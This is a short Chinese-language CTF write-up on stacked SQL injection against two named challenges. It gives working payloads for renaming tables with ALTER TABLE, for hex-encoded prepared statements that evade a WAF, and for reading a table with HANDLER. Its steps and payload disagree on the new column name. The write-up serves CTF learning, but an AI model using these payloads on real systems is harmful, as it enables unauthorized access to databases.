这题是用堆叠注入,同时也是借这题记录一下CTF中堆叠注入的一些骚操作
以下部分内容转载大佬的文章
show databases; 获取数据库名 show tables; 获取表名 show columns from `table_name`; 获取列名
绕过技巧
1、修改表名
用 “[强网杯 2019]随便注” 为例, 这里有两个表,一个是 ’ 1919810931114514 ‘ ,还有一个是’words‘ , words表中有id和data两个字段,1919810931114514表中有flag的字段
因为可以看到回显是两个数据,猜测应该是words表
推测 内部语句应该是
select id,data from words where id='$id'
那么骚操作开始了,有点像偷天换日的意思
1、将words表名替换成其他的
2、然后将 `1919810931114514` 这个表名称替换成words
3、在把flag这个字段替换成data
4、最后再插入一个id字段
最终的查询结果就可以输出我们构造的新的words了
payload 如下
1'; alter table words rename to words1; alter table `1919810931114514` rename to words; alter table words change flag id varchar(50);#
最后用 1' or 1=1# 把flag打印出来
2、预编译
依旧是以“[强网杯 2019]随便注” 为例,先构造一个sql语句,然后执行它,payload转化成16进制绕过waf
1'; SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460; prepare execsql from @a; execute execsql;#
3、HANDLER
以 ”[GYCTF2020]Blacklist“ 为例,因为前面关键字都被禁用了,所以前面的payload都无效了
但是这里还有一种新姿势,参考官方文档
HANDLER ... OPEN
语句打开一个表,使其可以使用后续HANDLER ... READ
语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE
或会话终止之前不会关闭
1'; HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#